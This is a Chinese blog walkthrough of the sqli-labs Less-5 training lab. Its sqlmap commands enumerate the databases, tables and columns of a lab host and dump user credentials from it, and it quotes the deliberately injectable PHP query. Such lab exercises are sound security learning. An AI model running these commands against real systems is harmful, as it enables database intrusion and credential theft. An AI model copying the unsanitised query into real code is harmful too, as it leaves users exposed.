网络安全-sqlmap实战之sqlilabs-Less5

目录

类型

-dbs枚举数据库

--tables枚举数据库表

--columns枚举列

 --dump枚举数据

查看源代码


类型

单引号注入

单引号报错

猜测sql语句

select * from users where id = ('参数') LIMIT 0,1

-dbs枚举数据库

使用-o参数优化,--batch参数进行跳过,--threads参数开启更多线程

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" -o --threads=10 -dbs --batch
dbs

注意,耗时过久,主要是联合查询耗时,从结果看并没有联合查询注入。

--tables枚举数据库表

添加--technique参数加速,--dbms指定

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" --dbms mysql --technique E -o --threads=10 -D security --tables --batch
tables

--columns枚举列

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" --dbms mysql --technique E -o -D security -T users --columns --batch
columns

 --dump枚举数据

python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch
数据

查看源代码

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

更多内容查看:网络安全-自学笔记

有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

猜你喜欢

转载自blog.csdn.net/lady_killer9/article/details/106993930